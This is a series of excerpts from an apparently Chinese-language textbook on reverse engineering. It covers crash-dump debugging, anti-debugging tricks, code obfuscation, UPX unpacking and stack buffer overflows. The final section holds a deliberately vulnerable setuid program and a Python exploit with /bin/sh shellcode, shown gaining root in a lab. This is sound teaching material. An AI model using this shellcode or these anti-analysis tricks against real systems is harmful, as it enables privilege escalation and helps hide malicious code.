    {"text": "要启动 Dr. Watson，首先点击开始菜单→附件→系统工具→系统信息，这时桌面上显示出系统信息窗口。 从系统信息的菜单中选择工具→ Dr. Watson，或者也可以在开始→运行中输入 drwtsn32。 ▲ 启动 Dr. Watson 1 ▲ 启动 Dr. Watson 2 在 Dr. Watson 的窗口中可以对日志和转储文件的保存路径、指令数量、要保存的错误数量等进行设置。"},
    {"text": "user.dmp drwtsn32.log user.dmp 就是该进程的内存转储，此外还有一个 drwtsn32.log 文件，在这个日志文件中，对错误的原因进行了简单的描述。"},
    {"text": "▼ drwtsn32.log 发生应用程序意外错误: 应用程序: C:\\Temp\\guitest.exe (pid=3852) 时间: 2012/07/02 @ 02:43:54.207 意外情况编号: c0000005 (访问侵犯) *----> 系统信息 <----* 计算机名: VIRTUALXP-10791 用户名: XPMUser 终端会话 Id: 0 处理器数量: 1 处理器类型: x86 Family 6 Model 37 Stepping 2 Windows 版本: 5.1 当前内部版本号: 2600 Service Pack: 3 当前类型: Uniprocessor Free 注册的单位: 注册的所有者: Windows XP Mode *----> 任务列表 <----* 0 System Process 4 System 416 smss.exe 476 csrss.exe 省略 *----> 模块清单 <----* (0000000000400000 - 0000000000412000: C:\\Temp\\guitest.exe (000000003b100000 - 000000003b11b000: C:\\WINDOWS\\IME\\IMJP8_1\\Dicts\\IMJPCD.DIC (000000004edc0000 - 000000004ee16000: C:\\WINDOWS\\system32\\imjp81.ime 省略 *----> 线程 ID 0xde0 的状态转储 <----* eax=00000001 ebx=00000000 ecx=00000000 edx=00000041 esi=00401290 edi=0012f958 eip=004012bf esp=0012f8f0 ebp=0012f8f0 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 *** ERROR: Module load completed but symbols could not be loaded for C:\\Temp\\guitest.exe 函数: guitest 004012a4 106683 adc [esi-0x7d],ah 004012a7 f8 clc 004012a8 01740c66 add [esp+ecx+0x66],esi 004012ac 83f802 cmp eax,0x2 004012af 7406 jz guitest+0x12b7 (004012b7) 004012b1 33c0 xor eax,eax 004012b3 5d pop ebp 004012b4 c21000 ret 0x10 004012b7 0fb7c0 movzx eax,ax 004012ba ba41000000 mov edx,0x41 错误 -> 004012bf 668911 mov [ecx],dx ds:0023:00000000=???? 004012c2 8b4d08 mov ecx,[ebp+0x8] 004012c5 50 push eax 004012c6 51 push ecx 004012c7 ff15a8204000 call dword ptr [guitest+0x20a8 (004020a8)] 省略 首先，日志中记载了崩溃的应用程序名称、崩溃发生的时间、用户名、操作系统版本以及其他正在运行的进程列表等全局信息。"},
    {"text": "我们可以看到，在地址 004012bf 的 mov 指令旁边写着一个“错误”字样，mov [ecx],dx 这条指令的功能是将 dx 的值写入 ecx 所代表的内存地址中。"},
    {"text": "实时调试 https://msdn.microsoft.com/zh-cn/library/5hs4b7a6.aspx 在前面讲到 Dr. Watson 的时候，我们在命令行窗口运行了 drwtsn32 -i，这就表示将 Dr. Watson 注册为系统的默认实时调试器。"},
    {"text": "▲ 实时调试的设置 ▼ 变更点 HKEY_LOCAL_MACHINE\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ AeDebug\\ Debugger 这里 .NETFramework\\ DbgManagedDebugger 这里 Wow6432Node\\ Microsoft\\ Windows NT\\ CurrentVersion\\ AeDebug\\Debugger 这里（x64） .NETFramework\\ DbgManagedDebugger 这里（x64） 上面两个地方是实时调试的设置，下面两个地方是 64 位系统中针对 32 位程序的设置。"},
    {"text": "在 OllyDbg 的菜单中点击 Options → Just-in-time debugging，会弹出一个设置对话框。 点击“Make OllyDbg just-in-time debugger”按钮，OllyDbg 就会将自己的信息配置到上述注册表项目中。 ▲ OllyDbg 的实时调试设置 1 ▲ OllyDbg 的实时调试设置 2 我们可以试试看在将 OllyDbg 设置为实时调试器之后，再一次运行前面那个会崩溃的程序。"},
    {"text": "▲ 用 WinDbg 打开转储文件 1 ▲ 用 WinDbg 打开转储文件 2 WinDbg 虽然看起来有图形界面，但实际上却更像是一个命令行工具，因为它基本上是通过命令交互来进行调试的。"},
    {"text": "这里本来应该显示出反汇编之后的代码，但由于 EIP 的值为 00000000，因此现在只显示一堆问号，这就表示“出于某些原因，程序跳转到了 00000000 这个地址”。"},
    {"text": "▼ 运行结果 0012f8f0 77cf8734 000b0144 00000111 00000001 guitest2+0x12d0 双击这一行，再看一下 Disassembly 窗口，这时会显示出 guitest2+0x12d0 地址的内容。 ▼ 运行结果 004012b7 6844214000 push offset guitest2+0x2144 (00402144) 004012bc ff1500204000 call dword ptr [guitest2+0x2000 (00402000)] 004012c2 6860214000 push offset guitest2+0x2160 (00402160) 004012c7 50 push eax 004012c8 ff1504204000 call dword ptr [guitest2+0x2004 (00402004)] 004012ce ffd0 call eax 004012d0 8b4d08 mov ecx,dword ptr [ebp+8] 运行停止处 004012d3 0fb7c6 movzx eax,si 当前显示的地址是 004012d0，我们看一下前一条指令 call eax，按 Alt+4 可以查看寄存器的值。"},
    {"text": "也就是说，004012ce 的这条 call eax 指令调用了 00000000 这个地址，看来这就是引发崩溃的原因。 地址 004012c8 处也执行了一条 call 指令，由于返回值会存放在 eax 中，因此我们可以推测，eax 的 00000000 是从这里来的。"},
    {"text": "按 Alt+5 打开 Memory（内存）窗口，在显示 Virtual 的地方输入“00402004”。 ▼ 运行示例 Virtual: 00402004 地址 00402004 的值为 04 24 00 00（=00002404）。 这里显示的值是相对于基地址的偏移 量，因此我们再输入 00400000+2404=00402404，这时会显示出调用的函数名称，即 GetProcAddress。 ▼ 运行示例 Virtual: 00402404 00402404 45 02 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 G e t P r o c A d d r e s s 按相同的思路，我们还可以看一下地址 004012bc 所 call 的函数是什么。 ▼ 运行示例 Virtual: 00402000 00402000 f4 23 00 00 04 24 00 00 00 28 00 00 ea 27 00 00 da 27 ▼ 运行示例 Virtual: 004023f4 004023f4 3f 03 4c 6f 61 64 4c 69 62 72 61 72 79 57 00 00 45 02 L o a d L i b r a r y W 接下来我们在 Memory 窗口中确认一下调用这些函数所传递的参数，现在我们可以将刚才的反汇编代码改写成更易懂的形式。"},
    {"text": "004012b7 6844214000 push \"kernel31.dll\" 004012bc ff1500204000 call LoadLibraryW 004012c2 6860214000 push \"GetCurrentProcessId\" 004012c7 50 push eax 004012c8 ff1504204000 call GetProcAddress 004012ce ffd0 call eax 004012d0 8b4d08 mov ecx,dword ptr [ebp+8] 运行停止处 004012d3 0fb7c6 movzx eax,si 现在看起来更容易懂了吧，而且我们也已经发现了 bug 的原因。"},
    {"text": "专栏：除了个人电脑，在其他计算机设备上运行的程序也可以进行分析吗 像 Windows、Linux、Mac OS X 等一般的主流操作系统中都具备内存转储和调试等帮助进行软件分析的功能。"},
    {"text": "只不过，由于这些设备的技术并不像个人电脑一样公开，因此“一般人对游戏机和家电产品进行分析”这种事好像挺少见的。 实际上，这些设备在上市时往往会关闭调试功能，或者不公开具体的调试方法，因此用起来并不像个人电脑一样随心所欲。"},
    {"text": "然而，这些设备中也装有处理器（CPU），这些处理器自然也能够执行汇编指令，因此如果有办法对其进行反汇编并获取内存转储，那么就可以进行分析了。"},
    {"text": "devkitPro http://devkitpro.org/ 专栏：分析 Java 编写的应用程序 Java 的开发理念是“Write once, run anywhere”，即不依赖操作系统和硬件，编写一次代码就可以在各种平台上运行。"},
    {"text": "在编译时，源代码会被编译成字节码（一种抽象的中间语言） 为各种环境分别安装能够解释和执行字节码的虚拟机 只要有 Java 虚拟机，程序就可以在任何环境下运行——这就是 Java 的最大特点。"},
    {"text": "有一些工具能够将字节码还原成源代码，这些工具称为反编译器（decompiler）。 Java 反编译器 http://java.decompiler.free.fr/ 相比 x86 汇编语言来说，Java 字节码更容易还原成源代码，相应的反汇编器也出现已久。"},
    {"text": "▲ class 文件的反汇编结果 2.2 如何防止软件被别人分析 2.2.1 反调试技术 尽管在开发的时候调试技术为我们带来了很多便利，但软件发布之后我们可不太想被别人拿去分析。"},
    {"text": "IsDebuggerPresent 是一种能够检测是否挂载了调试器的 API 函数，通过返回值是否为 0 可以判断调试器的挂载状态。 #include <Windows.h> #include <stdio.h> int main() { if(IsDebuggerPresent()){ // 在调试器上运行 printf(\"on debugger\\n\"); }else{ // 在调试器上不运行 printf(\"not on debugger\\n\"); } getchar(); return 0; } 如果希望在开发时方便调试，又要在发布之后防止被破解，这一函数非常有用。 我们可以在开发时用 ifdef 或者注释来暂时禁用 IsDebuggerPresent 的调用，在发布版上再启用，在检测到调试器时改变程序的逻辑。"},
    {"text": "BOOL WINAPI CheckRemoteDebuggerPresent( _In_ HANDLE hProcess, _Inout_ PBOOL pbDebuggerPresent ); 专栏：检测调试器的各种方法 除了 API 函数以外，还有很多其他类型的技术被用于检测调试器，其中有很多都很有趣，下面我们来简单介绍一下。"},
    {"text": "__declspec(naked) int __stdcall antidebugger1(void) { __asm{ pushad push ok push dword ptr fs:[0] mov dword ptr fs:[0], esp mov buff, esp push 100h 用push将100h入栈 popf 用pop将100h取出至标志 jmp error ok: mov esp, buff pop dword ptr fs:[0] add esp, 4 popad xor eax, eax ret error: mov esp, buff pop dword ptr fs:[0] add esp, 4 popad xor eax, eax inc eax ret } } 还有一种类似的方法，用的是 int 2dh。 __declspec(naked) int __stdcall antidebugger2(void) { __asm{ pushad push ok push dword ptr fs:[0] mov dword ptr fs:[0], esp mov buff, esp xor eax, eax int 2dh 执行int 2dh jmp error ok: mov esp, buff pop dword ptr fs:[0] add esp, 4 popad xor eax, eax ret error: mov esp, buff pop dword ptr fs:[0] add esp, 4 popad xor eax, eax inc eax ret } } 和上面一样，返回 0 为正常，返回 1 表示挂载了调试器。"},
    {"text": "在现阶段很难向大家详细讲解上述代码的具体原理，因此在这里我们只是浅尝辄止，如果大家对此感兴趣，可以上网搜索“anti- debug popf”和“anti-debug int2d”这两个关键词。"},
    {"text": "2.2.2 通过代码混淆来防止分析 上述反调试器技术十分有效，但如果用反汇编器进行静态分析，找到检测调试器的逻辑（例如调用 IsDebuggerPresent 的地方），就可以轻易破解。"},
    {"text": "00401000 main proc near 00401000 call ds:__imp__IsDebuggerPresent@0 改写 00401006 test eax, eax 00401008 jz short loc_401021 0040100A push offset aOnDebugger ; \"on debugger\\n\" 0040100F call ds:__imp__printf 00401015 add esp, 4 00401018 call ds:__imp__getchar 0040101E xor eax, eax 00401020 retn 00401021 loc_401021: 00401021 push offset aNotOnDebugger ; \"not on debugger\\n\" 00401026 call ds:__imp__printf 0040102C add esp, 4 0040102F call ds:__imp__getchar 00401035 xor eax, eax 00401037 retn 即便使用了这些反调试技术，通过 IDA 也都可以进行分析并将其破解。"},
    {"text": "00401000 main proc near 00401000 FF 15 00 20 40 00 call ds:__imp__IsDebuggerPresent@0 00401006 85 C0 test eax, eax 00401008 74 17 jz short loc_401021 这里，如果我们在前面增加一个 EB，即变成 EB FF 15 00 20 40 00 85 C0 74 17，在 IDA 中显示出的代码就会变成下面这样。 00401000 main: 00401000 EB FF jmp short near ptr main+1 00401002 15 00 20 40 00 adc eax, offset __imp__ IsDebuggerPresent@0 00401007 85 C0 test eax, eax 00401009 74 17 jz short loc_401022 我们可以看到，这里的指令变成了 jmp、adc、test、jz，而 call 指令消失了，然而这段机器语言的实际功能却没有发生变化，因为 EB FF 相当于向前跳转 1 个字节，也就是跳转到 00401001。 而 00401001 后面的机器语言代码为 FF 15 00 20 40 00 85 C0 74 17，这段代码反汇编之后得到的指令是 call、test、jz，因此 call 依然能够正常执行。"},
    {"text": "Obfuscation of executable code to improve resistance to static disassembly. http://www.cs.arizona.edu/solar/papers/CCS2003.pdf Binary Obfuscation Using Signals. https://www.cs.arizona.edu/solar/papers/obf-signal.pdf 系统内部结构抵御分析的能力被称为“抗篡改性”（tamper resistance），这不仅限于软件领域，在硬件领域也在进行相关研究。"},
    {"text": "“如何保卫信息安全” “怎样的设计能够实现高抗篡改性的系统” 这些都是计算机安全领域的重大课题。 在如今的信息化社会中，“如何保卫信息安全”是一个根本性的问题。"},
    {"text": "这一类压缩工具称为打包器（packer），其中最有名的一款打包器叫作 UPX，它是开源的，支持 ELF、DLL、COFF 等多种可执行文件格式。 UPX http://upx.sourceforge.net/ 打包器的原理非常简单，就是将原本可执行文件中的代码和数据进行压缩，然后将解压缩用的代码附加在前面，运行的时候先将原本的可执行数据解压缩出来，然后再运行解压缩后的数据。"},
    {"text": "——译者注 ASPack http://www.aspack.com/ 从其性质上说，Winny 的通信内容及其密码算法是需要保密的，因此它使用了打包器来作为反调试（防止逆向工程）的手段。"},
    {"text": "此外，现在的打包器基本上都具备防止逆向工程的功能，因此很多恶意软件制作者也会使用打包器，目的是为反病毒软件厂商的分析制造困难（或者是改变自身的特征码）。"},
    {"text": "▼ packed.cpp #include <Windows.h> #include <stdio.h> int main(int argc, char *argv[]) { if(argc < 2){ fprintf(stderr, \"$packed.exe <password>\\n\"); return 1; } if(IsDebuggerPresent()){ // 在调试器上运行 printf(\"on debugger\\n\"); return -1; }else{ // 在调试器上不运行 if(strcmp(argv[1], \"xxxxxxxxx\") == 0){ printf(\"correct!\\n\"); }else{ printf(\"auth error\\n\"); return -1; } } getchar(); return 0; } 这个程序很简单。"},
    {"text": "▼ packed.exe 00401000 main proc near 00401000 arg_0 = dword ptr 8 00401000 arg_4 = dword ptr 0Ch 00401000 push ebp 00401001 mov ebp, esp 00401003 cmp [ebp+arg_0], 2 00401007 jge short loc_401028 00401009 push offset \"$packed.exe <password>\\n\" 0040100E call ds:__imp____iob_func 00401014 add eax, 40h 00401017 push eax ; FILE * 00401018 call ds:__imp__fprintf 0040101E add esp, 8 00401021 mov eax, 1 00401026 pop ebp 00401027 retn 00401028 loc_401028: 00401028 call ds:__imp__IsDebuggerPresent@0 0040102E test eax, eax 00401030 jz short loc_401045 00401032 push offset aOnDebugger ; \"on debugger\\n\" 00401037 call ds:__imp__printf 0040103D add esp, 4 00401040 or eax, 0FFFFFFFFh 00401043 pop ebp 00401044 retn 00401045 loc_401045: 00401045 mov eax, [ebp+arg_4] 00401048 mov eax, [eax+4] 0040104B mov ecx, offset aXxxxxxxx ; \"xxxxxxxx\" 00401050 loc_401050: 00401050 mov dl, [eax] 00401052 cmp dl, [ecx] 00401054 jnz short loc_401070 00401056 test dl, dl 00401058 jz short loc_40106C 0040105A mov dl, [eax+1] 0040105D cmp dl, [ecx+1] 00401060 jnz short loc_401070 00401062 add eax, 2 00401065 add ecx, 2 00401068 test dl, dl 0040106A jnz short loc_401050 0040106C loc_40106C: 0040106C xor eax, eax 0040106E jmp short loc_401075 00401070 loc_401070: 00401070 sbb eax, eax 00401072 sbb eax, 0FFFFFFFFh 00401075 loc_401075: 00401075 test eax, eax 00401077 jnz short loc_401091 00401079 push offset aCorrect ; \"correct!\\n\" 0040107E call ds:__imp__printf 00401084 add esp, 4 00401087 call ds:__imp__getchar 0040108D xor eax, eax 0040108F pop ebp 00401090 retn 00401091 loc_401091: 00401091 push offset aAuthError ; \"auth error\\n\" 00401096 call ds:__imp__printf 0040109C add esp, 4 0040109F or eax, 0FFFFFFFFh 004010A2 pop ebp 004010A3 retn 请大家看一下反汇编之后的代码，感觉如何？"},
    {"text": "▼ 运行示例 C:\\upx308w>upx.exe packed.exe 省略 File size Ratio Format Name -------------------- ------ ----------- ----------- 7168 -> 5120 71.43% win32/pe packed.exe Packed 1 file. 我们将 packed.exe 作为参数运行 upx.exe，然后 packed.exe 会被覆盖为经过 UPX 压缩后的文件。"},
    {"text": "顺便一提，UPX 其实没有专门的解包器，因为只要加上 -d 选项就可以进行解包了。 除了 UPX 之外，以防止逆向工程为目的的打包器，通常都没有官方解包器。 因此，要想解包只能自力更生手动完成，或者也可以使用某些第三方制作的解包工具。"},
    {"text": "所谓“手动解包”，顾名思义，就是用调试器和反汇编器跟踪可执行文件解压缩的逻辑，并将位于内存中的解压缩后的可执行数据导出到文件的操作。"},
    {"text": "▼ 运行示例 C:\\upx308w>upx.exe -d packed.exe 省略 File size Ratio Format Name -------------------- ------ ----------- ----------- 7168 <- 5120 71.43% win32/pe packed.exe Unpacked 1 file. 尽管无法还原到一模一样，但至少现在我们可以用 IDA 来进行分析了。"},
    {"text": "2.2.5 通过手动解包 UPX 来理解其工作原理 不过，我们无法通过自动解包来理解打包器的原理，因此下面我们来尝试一下手动解包用 UPX 压缩过的程序。 不同的打包器的解包难度是不同的，UPX 是一种非常简单的打包器，因此十分适合用来练习解包。 下面我们尝试一下对用 UPX 打包的 packed.exe 进行手动解包。"},
    {"text": "首先，我们用 OllyDbg 打开 packed.exe。 这次我们使用一个叫作 OllyDump 的 OllyDbg 插件，请大家将 OllyDump.dll 复制到 OLLYDBG.EXE 所在的目录下，这样我们就可以使用 OllyDump 插件了。 OllyDump http://www.openrce.org/downloads/details/108/OllyDump ▼ 运行结果 004079C0 > $ 60 PUSHAD 004079C1 . BE 00704000 MOV ESI,packed.00407000 004079C6 . 8DBE 00A0FFFF LEA EDI,DWORD PTR DS:[ESI+FFFFA000] 用 OllyDbg 打开之后，我们来看一下开头的 pushad 指令。"},
    {"text": "我们暂且不管为什么要这样做，先按 F8 继续运行。 这里先不用多想，不断按 F8 运行下去就可以了。 按了一段时间 F8 之后，我们会发现程序在某个地方进入了一个循环。"},
    {"text": "▼ 运行结果 004079D0 > 8A06 MOV AL,BYTE PTR DS:[ESI] 004079D2 . 46 INC ESI 004079D3 . 8807 MOV BYTE PTR DS:[EDI],AL 004079D5 . 47 INC EDI 004079D6 > 01DB ADD EBX,EBX 004079D8 . 75 07 JNZ SHORT packed.004079E1 004079DA > 8B1E MOV EBX,DWORD PTR DS:[ESI] 004079DC . 83EE FC SUB ESI,-4 004079DF . 11DB ADC EBX,EBX 004079E1 >^72 ED JB SHORT packed.004079D0 上面这段就是循环的内容，我们仔细看一下里面的逻辑，会发现这是在从 esi 的地址向 edi 的地址复制数据。"},
    {"text": "我们按 F8 继续运行，如果嫌按 F8 太麻烦，可以在代码里面一直向下查找到 popad 指令，然后在这里设置一个断点，并按 F9 运行到断点的位置。 ▼ 运行结果 00407B66 . 61 POPAD 00407B67 . 8D4424 80 LEA EAX,DWORD PTR SS:[ESP-80] 00407B6B > 6A 00 PUSH 0 00407B6D . 39C4 CMP ESP,EAX 00407B6F .^75 FA JNZ SHORT packed.00407B6B 00407B71 . 83EC 80 SUB ESP,-80 00407B74 .-E9 C897FFFF JMP packed.00401341 我们可以看到 popad 下面不远处，在 00407B74 有一个 jmp 指令，按 F8 单步运行到 jmp 指令的地方，会跳转到 00401341 处的一条 call 指令上。 ▼ 运行结果 00401341 E8 83040000 CALL packed.004017C9 00401346 ^E9 B3FDFFFF JMP packed.004010FE 在 00401341 这个位置，我们打开 OllyDump，点击 OllyDbg 菜单中的 Plug-in → OllyDump → Dump debugged process。 ▲ 用 OllyDump 将内存中的可执行数据转储到文件 在对话框最下面的 Rebuild Import 中选择 Method2，其他选项保留默认值。 接下来按窗口右上方的 Dump 按钮，内存中的可执行数据就会被转储到文件中。"},
    {"text": "具体来说，在运行解压缩程序之前，先将当前的寄存器状态保存到栈中，在解压缩结束之后再从栈中恢复寄存器状态。 这样一来，寄存器的值就恢复到了运行解压缩程序之前的状态，便于正确运行解压缩之后的真正的程序代码。"},
    {"text": "那么，硬件断点和我们前面讲过的断点有什么区别呢？ 其实，我们之前用到的断点，准确来说应该叫作“软件断点”。 实际上，软件断点的原理很简单，其本质是调试器将断点位置的指令改写成了 0xCC（int3h）。"},
    {"text": "和软件断点一样，硬件断点也可以中断程序运行并向调试器发出报告，但它并非通过 0xCC 指令来实现，而是通过直接写入寄存器（DR 寄存器）来实现的。 此外，硬件断点不仅能够在指定的位置中断程序运行，还可以实现一些复杂的中断，例如“当向指定地址写入数据时中断”“当从指定地址读取数据时中断”等。"},
    {"text": "在进行软件分析的过程中，遇到 0xCC 可能会被覆盖的情况时，一 般会使用硬件断点 4 。 4 这里的意思是，打包器在向内存写入解包后的可执行数据时，会覆盖掉其中的软件断点，因此这里只能使用硬件断点。"},
    {"text": "▼ 运行结果 00406001 > 60 PUSHAD 00406002 E8 03000000 CALL packerpa.0040600A 00406007 -E9 EB045D45 JMP 459D64F7 我们一直往下找，肯定能找到一个 POPAD，但是这样找太累了，我们可以在 00401000 地址设置一个硬件断点。 要注意的是，如果操作系统启用了 ASLR 5 安全机制，那么这个地址有可能不是 00401000，在这样的情况下就只能乖乖地自己去找 POPAD 了。"},
    {"text": "接下来我们在 00401000 处设置一个硬件断点，按右键→ Breakpoint → Hardware, on execution。 ▲ 设置硬件断点 这样即准备完毕。 接下来，按 F9 运行程序，然后程序会在 00401000 处中断运行。"},
    {"text": "▼ 运行示例 00401000 /$ 55 PUSH EBP 00401001 |. 8BEC MOV EBP,ESP 00401003 |. 837D 08 02 CMP DWORD PTR SS:[EBP+8],2 00401007 |. 7D 1F JGE SHORT packerpa.00401028 00401009 |. 68 F4204000 PUSH packerpa.004020F4 0040100E |. FF15 A8204000 CALL DWORD PTR DS:[4020A8] 00401014 |. 83C0 40 ADD EAX,40 00401017 |. 50 PUSH EAX 00401018 |. FF15 A0204000 CALL DWORD PTR DS:[4020A0] ▲ 解包后的代码 后面的操作就和 UPX 完全一样了，只要用 OllyDump 将文件导出，解包工作就完成了。"},
    {"text": "最后希望大家记住一点，无论什么软件，其本质都是处理器可以解释并指定的机器语言指令，因此“即便采取了难度再高的对策，只要能够读出组成软件的所有机器语言指令，就一定能够找到破解的方法”。"},
    {"text": "专栏：如何分析 .NET 编写的应用程序 .NET 的设计和 Java 类 似，在编译时会生成一种叫作 MSIL（Microsoft Intermediate Language）的中间语言，并在运行时通过 CLR（Common Language Runtime）转换成处理器能够解释的机器语言。"},
    {"text": ".NET Reflector 8 http://www.red-gate.com/products/dotnet-development/reflector/ ▲ 对用 .NET 编写的 EXE 文件进行反编译的结果 对于 Java 和 .NET 编写的应用程序来说，逆向工程的重点并不是用调试器和反汇编器一点一点地进行分析，而是“如何还原出最接近原始状态的源代码”。"},
    {"text": "顺便一提，也有一些混淆技术能够提高反编译的难度，还有一些工具能够让生成的文件在反编译时出错，这是软件分析者与开发者之间永无止境的攻防战。"},
    {"text": "如果大家需要虚拟机环境，可以从下面的网址下载，这两个镜像都可以用 VMWare Player 来运行。 VMWare Player http://www.vmware.com/products/player/ FreeBSD-8.3 http://07c00.com/tmp/FreeBSD_8.3_binbook.zip Ubuntu-12.04 http://07c00.com/tmp/Ubuntu-12.04_binbook.zip 这些镜像的登录用户名和密码如下。"},
    {"text": "3.1 利用缓冲区溢出来执行任意代码 3.1.1 引发缓冲区溢出的示例程序 在软件的安全漏洞中，缓冲区溢出（buffer overflow）是最有名的漏洞之一。"},
    {"text": "▼ sample1.c #include <string.h> int main(int argc, char *argv[]) { char buff[64]; strcpy(buff, argv[1]); return 0; } ▼ 运行示例 $ gcc -Wall sample1.c -o sample1 $ ./sample1 `python -c 'print \"A\"*70'` Segmentation fault (core dumped) sample1.c 这个程序就有缓冲区溢出漏洞。"},
    {"text": "这个程序为 buff 数组分配了一块 64 字节的内存空间，但传递给程序的参数 argv[1] 是由用户任意输入的，因此参数的长度很有可能会超过 64 字节。"},
    {"text": "因此，当用户故意向程序传递一个超过 64 字节的字符串时，就会在 main 函数中引发缓冲区溢出。 这里的重点在于，“当输入的数据超过 64 字节时，程序的行为将变得不可预测”，这就成为了一个漏洞。"},
    {"text": "然而，如果只有 root 才能修改密码，使用起来就会很不方便，于是我们需要一个机制让普通用户也能够临时借用管理员权限，这个机制就是 setuid。 setuid 的功能是让用户使用程序的所有者权限来运行程序。"},
    {"text": "▼ 运行示例 $ ls -l /etc/passwd -rw-r--r-- 1 root root 1020 Nov 8 11:54 /etc/passwd /etc/passwd 文件不允许除 root 以外的用户进行写入，但 passwd 命令可以（通过 setuid 机制）临时以 root 权限来运行。 ▼ 运行示例 $ ls -l /usr/bin/passwd -r-s--x--x 1 root root 12292 Feb 22 2001 /usr/bin/passwd* 请大家注意权限部分 的“r-s”，这里 的“s”表示该程序已启用 setuid。"},
    {"text": "▼ sample2.c #include <unistd.h> #include <sys/types.h> int main(int argc, char *argv[]) { char *data[2]; char *exe = \"/bin/sh\"; data[0] = exe; data[1] = NULL; setuid(0); execve(data[0], data, NULL); return 0; } 我们用 root 权限编译该程序，然后设置 setuid。 ▼ 运行示例 $ su Password: 输入root密码 # gcc -Wall sample2.c -o sample2 # chmod 4755 sample2 # ls -l sample2 -rws--x--x 1 root guest 4832 Sep 3 07:47 sample2 这时我们发现 sample2 的权限变成了“rws”，这表示已经启用了 setuid。"},
    {"text": "▼ sample3.c #include <stdio.h> #include <string.h> unsigned long get_sp(void) { __asm__(\"movl %esp, %eax\"); } int cpy(char *str) { char buff[64]; printf(\"0x%08lx\", get_sp() + 0x10); getchar(); strcpy(buff, str); return 0; } int main(int argc, char *argv[]) { cpy(argv[1]); return 0; } ▼ exploit.py #!/usr/local/bin/python import sys from struct import * if len(sys.argv) != 2: addr = 0x41414141 else: addr = int(sys.argv[1], 16) s = \"\" s += \"\\x31\\xc0\\x50\\x89\\xe0\\x83\\xe8\\x10\" # 8 s += \"\\x50\\x89\\xe3\\x31\\xc0\\x50\\x68\\x2f\" #16 s += \"\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\" #24 s += \"\\x89\\xe2\\x31\\xc0\\x50\\x53\\x52\\x50\" #32 s += \"\\xb0\\x3b\\xcd\\x80\\x90\\x90\\x90\\x90\" #40 s += \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" #48 s += \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" #56 s += \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" #64 s += \"\\x90\\x90\\x90\\x90\"+pack('<L',addr) #72 sys.stdout.write(s) ▼ 运行示例 $ su Password: # gcc -Wall sample3.c -o sample3 sample3.c: In function 'get_sp': sample3.c:9: warning: control reaches end of non-void function # chmod 4755 sample3 # exit $ ./sample3 `python exploit.py` 0xbfbfebe8 Segmentation fault $ ./sample3 \"`python exploit.py bfbfebe8`\" 0xbfbfebe8 # whoami root sample3.c 的 cpy 函数会将输入的字符串原原本本地复制到一块只有 64 字节的内存空间中。"},
    {"text": "由于字符串是由用户任意输入的，因此如果将 exploit.py 的输出结果输入给 sample3.c，我们就成功地以所有者（root）权限运行了 /bin/sh。"},
    {"text": "栈是一种内存的使用方式，经常会被比喻成“直筒”或者“堆起来的盘子”。 栈并不是一种物理上真实存在的东西，它也是普通的内存空间，只是“像直筒或堆起来的盘子这样来使用”而已。"},
    {"text": "► 从栈中取出数据 下面我们来看一下从栈中取出数据时会发生怎样的情况。 从栈中取出数据时，我们会使用 pop 指令，pop 指令会从栈的最低位地址取出一条数据。"},
    {"text": "▼ sample4.c void func(int x, int y, int z) { int a; char buff[8]; } int main(void) { func(1, 2, 3); return 0; } ▼ 运行结果 $ gcc -S sample4.c 请大家编写 sample4.c，并加上 -S 选项进行编 译，然后会生成 sample4.s 文件。 这是 sample4.c 的汇编语言代码。"},
    {"text": "▼ sample4.s .file \"sample4.c\" .text .p2align 4,,15 .globl func .type func, @function func: pushl %ebp 保存ebp movl %esp, %ebp 将ebp移动到esp的位置 subl $16, %esp leave 恢复ebp和esp ret 跳转到调用该函数的位置 .size func, .-func .p2align 4,,15 .globl main .type main, @function main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ecx subl $12, %esp movl $3, 8(%esp) 第3参数 movl $2, 4(%esp) 第2参数 movl $1, (%esp) 第1参数 call func 调用func函数 movl $0, %eax addl $12, %esp popl %ecx popl %ebp leal -4(%ecx), %esp ret .size main, .-main .ident \"GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]\" 在 C 语言中传递的 int 型参数，在汇编语言中需要在 call func 之前存放到栈中。"},
    {"text": "▼ 函数调用时入栈的方法 1 push $3 // esp-=4，将3送入esp+0 push $2 // esp-=4，将2送入esp+0 push $1 // esp-=4，将1送入esp+0 ▼ 函数调用时入栈的方法 2 subl $12, %esp // esp-=12 movl $3, 8(%esp) // 将3送入esp+8 movl $2, 4(%esp) // 将2送入esp+4 movl $1, (%esp) // 将1送入esp+0 将参数入栈后，通过 call 指令调用子程序。"},
    {"text": "这时，如果数据溢出，超过了原本分配给数组 buff 的内存空间，会发生什么事呢？ 数组 buff 后面的 %ebp、ret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉。"},
    {"text": "也就是说，如果覆盖了 ret_addr，攻击者就可以让程序跳转到任意地址。 如果攻击者事先准备一段代码，然后让程序跳转到这段代码，也就相当于成功攻击了“可执行任意代码的漏洞”。"},
    {"text": "gdb 是在 UNIX 类操作系统中常用的调试器，不过它是一个命令行工具，因此需要记住一些命令才能够使用。 大家不必熟练掌握 gdb 的用法，只要先记住一些常用的命令就好。 命令 说明 r 运行程序（可以直接带命令行参数） b 设置断点（加星号可传递地址） c 在断点处中断后，继续运行程序 x/[ 数字 ]i 对指定数量的指令进行反汇编 disas 同上 x/[ 数字 ]x 显示指定长度的数据 ※ 可用地址或寄存器作为参数 ※ 传递寄存器时要加 $ x/[ 数字 ]s 以字符串形式显示任意长度的数据 i r 显示寄存器的值 set 向寄存器或内存写入值 q 结束调试 ※ 当处于调试中时，程序会询问是否要结束调试，这时输入 y 可结束调试 用 gdb 对程序进行调试有下面两种方法。"},
    {"text": "▼ 将程序的路径作为参数传递给 gdb $ gdb test00 ▼ 将 gdb 挂载到某个进程上 (gdb) attach 1111 Attaching to process 1111 下面我们通过传递参数的方式用 gdb 来启动 sample3。"},
